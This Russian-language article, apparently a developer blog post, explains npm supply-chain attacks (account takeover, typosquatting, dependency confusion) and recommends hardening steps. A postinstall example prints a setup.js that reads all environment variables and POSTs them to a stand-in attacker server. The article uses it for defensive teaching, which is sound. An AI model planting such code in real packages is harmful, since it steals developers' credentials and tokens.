Атаки на цепочку поставок Npm: как они работают и как защитить Node.js
Объясняется, как работают атаки на цепочку поставок npm, такие как захват аккаунтов, тайпосквоттинг и путаница с зависимостями, а также приводятся конкретные шаги по усилению безопасности установок Node.js.
Когда вы выполняете команду npm install express, вы загружаете гораздо больше, чем просто библиотеку маршрутизации. В этой одной команде скрыты сотни вложенных пакетов, созданных людьми, с которыми вы никогда не взаимодействовали и, скорее всего, никогда не взаимодействовать не будете.
Большинство инженеров рассматривают менеджеры пакетов как нейтральные инструменты: вы запрашиваете нужный инструмент, он загружается, и вы продолжаете работу. Однако такое предположение больше не справедливо в мире JavaScript. Сегодня злоумышленники редко тратят усилия на проникновение в корпоративный брандмауэр или обратную разработку процесса входа в систему. Гораздо проще внедрить злонамеренный код в зависимость, на которую ваша команда уже полагается и которой доверяет безоговорочно.
npm install больше не является пассивной операцией загрузки и хранения. Фактически это процедура произвольной выполнимости кода — на вашем ноутбуке, внутри вашей CI/CD-пайплайны и, в конечном итоге, на вашей производственной инфраструктуре.
Что такое атака на цепочку поставок в Node.js?
Классические проблемы безопасности веб-приложений касаются таких недостатков, как вставка SQL-запросов или кросс-сайтовое скриптинг, которые являются ошибками, заложенными непосредственно в написанное вами приложение.
Атака на цепочку поставки программного обеспечения действует иначе. Ваш собственный код может быть безупречным и соответствовать всем известным лучшим практикам. Однако если пакет от стороннего поставщика, от которого вы зависите, был подделан, этот безупречный код оказывается на поврежденной основе, и вся система находится в опасности.
Такой тип атаки нацелен на механизмы, с помощью которых создается и доставляется ваше программное обеспечение, а не на само программное обеспечение. В мире Node.js к таким механизмам относятся:
- Пакеты с открытым исходным кодом, размещенные в реестре npm
- Транзитивные зависимости — пакеты, от которых зависят ваши прямые зависимости
- Скрипты, которые автоматически выполняются во время установки
Если будет нарушена хотя бы одна из линий в этой цепочке, каждый проект ниже по стеку унаследует вредоносный код при следующей установке.
Как злоумышленники эксплуатируют npm: три реальных сценария атак
Эти атаки не являются случайными. Они основаны на предсказуемом структурном поведении экосистемы npm. Ниже приведены три сценария атак, с которыми вы с наибольшей вероятностью столкнетесь.
1. Перехват учетных записей и компрометация владельцев пакетов
Многие широко используемые пакеты npm поддерживаются бесплатными волонтерами, работающими в свободное время. Злоумышленники прекрасно это понимают, поэтому вместо атаки на исходный код они направляют усилия на человека, который его публикует.
Типичные методы включают:
- Подбор учетных данных: попытки использования утечек комбинаций имени пользователя и пароля против аккаунтов npm, не имеющих многократной аутентификации.
- Фишинг: имитация команды безопасности npm по электронной почте с целью обмана разработчиков и заставления их предоставить учетные данные для входа.
- Троянские пул-реквесты: постепенное внесение действительно полезных, небольших исправлений в течение длительного времени для завоевания доверия и получения прав на коммиты, после чего внедрение скрытого бэкдора после установления доверия.
Как только получается доступ к публикации, злоумышленник выпускает обновление, выглядящее как обычное — например, с 2.1.4 на 2.1.5. Поскольку множество файлов package.json используют диапазоны вида ^2.1.4, автоматизированные сборки везде используют зараженную версию, без того чтобы кто-либо это заметил.
2. Тайпосквоттинг и путаница с брендом
Тайпосквоттинг использует простые человеческие ошибки. Злоумышленник регистрирует имя пакета, которое визуально или по тексту почти неотличимо от известной библиотеки.
Несколько примеров:
- Легитимный пакет:
cross-env - Злонамеренный аналог:
crossenv - Легитимный пакет:
colors - Злонамеренный аналог:
colour
Если при вводе команды npm i <package> указать неверное имя, будет установлена версия злоумышленника вместо оригинальной. Эти поддельные пакеты часто практически точно воспроизводят реальный API, поэтому тестовый набор продолжает проходить без проблем, в то время как под поверхностью выполняется скрытое злонамеренное поведение.
3. Путаница с зависимостями
Компании часто используют собственные внутренние пакеты — например, @company/auth-client или company-auth.
Если внутренний реестр настроен неправильно, клиент npm может начать запросы к публичному реестру до проверки частного, когда ему необходимо найти соответствующий внутренний пакет. Злоумышленники используют это, сканируя публичные репозитории и документацию в поисках упоминаний этих частных имен пакетов, затем публикуют пакеты с именами, точно соответствующими этим, в публичном реестре npm, присваивая им чрезмерно высокие номера версий, например 99.9.9.
Когда запускается процесс сборки, npm сравнивает версии, видит, что версия публичного пакета выше, и устанавливает код злоумышленника вместо вашего законного внутреннего модуля.
Что происходит за кулисами: опасность скриптов жизненного цикла
Почему само установка пакета сопряжена с таким высоким риском? Почему злонамеренный код может запуститься до того, как ваше приложение вызовет require() или import для этой библиотеки?
Ответом на эти вопросы являются скрипты жизненного цикла.
В файле package.json npm поддерживает команды оболочки, которые автоматически выполняются на определенных этапах установки. Самыми опасными из этих скриптов являются preinstall, install и postinstall.
Ниже приведен, на первый взгляд, безвредный файл package.json, принадлежащий скомпрометированной зависимости:
{
"name": "useful-string-helper",
"version": "1.0.1",
"scripts": {
"postinstall": "node ./setup.js"
}
}
В описании может говориться, что setup.js компилирует нативный бинарник или готовит локальные конфигурационные файлы. На самом деле setup.js может содержать что-то вроде этого:
// setup.js (Runs automatically during npm install)
const { exec } = require("child_process");
const https = require("https");
// Read environment variables (AWS keys, database passwords, tokens)
const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
const req = https.request({
hostname: "attacker-controlled-server.com",
port: 443,
path: "/collect",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": sensitiveData.length
}
});req.write(sensitiveData);
req.end();
Вот что на самом деле произошло:
- Вы ввели команду
npm install useful-string-helper. - NPM немедленно запустил команду
node ./setup.js. - Ваши локальные переменные окружения — такие как
AWS_SECRET_ACCESS_KEY,DATABASE_URLилиNPM_TOKEN— были извлечены непосредственно из системной памяти. - Эти секреты были переданы по протоколу HTTPS на сервер, контролируемый злоумышленником.
Обратите внимание, что для этого не требовалось импортировать пакет или запускать приложение. Одного лишь выполнения команды npm install, будь то на вашем собственном компьютере или в CI-среде, было достаточно для полного утечки ваших секретов.
Практические меры защиты: усиление безопасности рабочего процесса Node.js
Обходиться без сторонних пакетов нереалистично. Весь экосистема современного разработчества основана на компонентах с открытым исходным кодом. Однако вы можете контролировать то, насколько тщательно включаете эти зависимости в свой проект.
1. По умолчанию отключать скрипты установки
Если пакет действительно не требует запуска специального скрипта во время установки, отключите это поведение:
npm install --ignore-scripts
Чтобы применять это правило ко всему проекту, а не вводить его каждый раз, добавьте файл .npmrc в корневую директорию вашего репозитория:
# .npmrc
ignore-scripts=true
Если пакет действительно требует нативной компиляции — например, драйвер базы данных или библиотека обработки изображений — вы всё равно можете вручную запустить его этап сборки или выборочно разрешить использование определённых пакетов с помощью систем плагинов, предоставляемых менеджерами пакетов вроде pnpm или yarn.
2. Строго защищайте свои зависимости
Убедитесь, что файл с информацией о версиях всегда включается в то, что вы загружаете в систему контроля версий — будь то package-lock.json, pnpm-lock.yaml или yarn.lock, в зависимости от используемого инструмента.
Файл с информацией о версиях хранит точную версию, URL для загрузки и хеш криптографической целостности (SHA-512) для каждого установленного пакета. Благодаря этому хешу npm может подтвердить, что код, загружаемый в настоящее время, байт за байтом идентичен тому, который был сохранён при первоначальной генерации файла с информацией о версиях.
Внутри пайплайнов CI/CD всегда используйте:
npm ci
Избегайте выполнения простой команды npm install во время развертывания. Команда npm ci строго следует содержимому файла package-lock.json и заранее удаляет папку node_modules, тем самым предотвращая незаметное обновление версий.
3. Защищайте конфиденциальные данные среды
По возможности избегайте хранения учетных данных для производственной среды в открытом виде в файлах .env на вашем ноутбуке. Компьютеры разработчиков являются привлекательной мишенью именно потому, что в них обычно слабее контроль безопасности по сравнению с облачной инфраструктурой, при этом там сохраняются действительные ключи к производственным базам данных и облачным аккаунтам.
- Предпочитайте учетные данные с ограниченным сроком действия, например, те, которые выдаются через AWS IAM Identity Center или подобные системы временных токенов.
.bashrc или .zshrc.4. Используйте инструменты автоматизированного сканирования
Ни один сканер не может обнаружить всё, но автоматизированные инструменты быстро выявляют пакеты, известные как злонамеренные или уязвимые.
- Регулярно запускайте
npm audit, чтобы обнаружить пакеты с известными уязвимостями CVE. - Добавьте такие сервисы, как Socket.dev, Snyk или Dependabot от GitHub, в качестве обязательной проверки при каждом pull-реквесте.
- Socket.dev, например, анализирует то, что на самом деле делает пакет — подключение к сети, запись в диск, запуск команд оболочки — ещё до того, как он попадет в ваш проект.
Компромисс: безопасность против скорости разработки
Ни одна из мер усиления безопасности не предоставляется бесплатно.
Включение параметра ignore-scripts=true может нарушить работу пакетов, зависящих от нативных биндингов на C++, таких как bcrypt или sharp. В таком случае кому-то из членов команды придётся тратить время на диагностику сбоев компиляции или вручную настраивать процесс сборки.
Аналогичным образом, фиксация версий всех зависимостей означает, что исправления ошибок не будут автоматически применяться к вашему проекту. Вам необходимо выделять регулярное время — еженедельно или в рамках каждого спринта — для целенаправленной проверки и обновления зависимостей вместо того, чтобы позволять им обновляться самостоятельно.
Для небольшого побочного проекта такой уровень дисциплины может казаться ненужной сложностью. Но как только приложение начинает работать с данными клиентов, информацией о оплате или производственной инфраструктурой, именно эта сложность становится главным препятствием на пути к незаметному компромиссу.
Чек-лист для разработчиков Node.js
Прежде чем добавлять новую зависимость, имейте в виду следующие принципы:
- Рассматривайте команду
npm installкак выполнение кода: каждый добавляемый пакет работает с теми же правами, что и ваш личный учетная запись. - Сомневайтесь при добавлении нового: спрашивайте себя, действительно ли вам нужен целый пакет для функции-помощника из десяти строк.
- Отключайте скрипты, если это возможно: установите
ignore-scripts=trueв файле.npmrc, чтобы нейтрализовать большинство атак после установки. - Всегда сохраняйте файл lockfile: держите
package-lock.jsonв актуальном состоянии и требуйте выполнения командыnpm ciпри каждом запуске CI/CD. - Проверяйте права доступа: ограничивайте то, до чего могут получить доступ ваша локальная оболочка и инструменты CI.
Экосистема JavaScript предоставляет разработчикам огромную скорость и гибкость. Тщательное управление зависимостями помогает не допустить того, чтобы эта скорость незаметно подорвала целостность ваших систем.
Связанные статьи
- Устранение ошибок обработки ошибок Async/Await в производственном коде Node.js — Узнайте о пяти распространенных ошибках обработки ошибок async/await в JavaScript и Node.js, вызывающих скрытые сбои и конкурентные ситуации, а также о конкретных способах их устранения.
- Руководство по настройке React + Vite (2026): как создать первое рабочее приложение — Посмотрите, как установить Node.js, npm, VS Code и Vite для создания структуры React-приложения, а также узнайте, что на самом деле делает каждый инструмент.